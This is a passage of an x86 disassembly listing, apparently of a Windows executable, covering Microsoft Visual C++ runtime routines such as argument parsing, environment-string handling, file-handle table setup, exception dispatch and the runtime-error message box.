		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2630290h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 263056Ch
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2630290h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		call	near ptr 26305CEh
		nop
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2850000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 26206E4h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 26206E4h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2630163h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2630000h
		push	eax
		nop
		call	near ptr 2700000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		call	near ptr 26204D0h
		nop


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 26204D0h


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 2680972h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


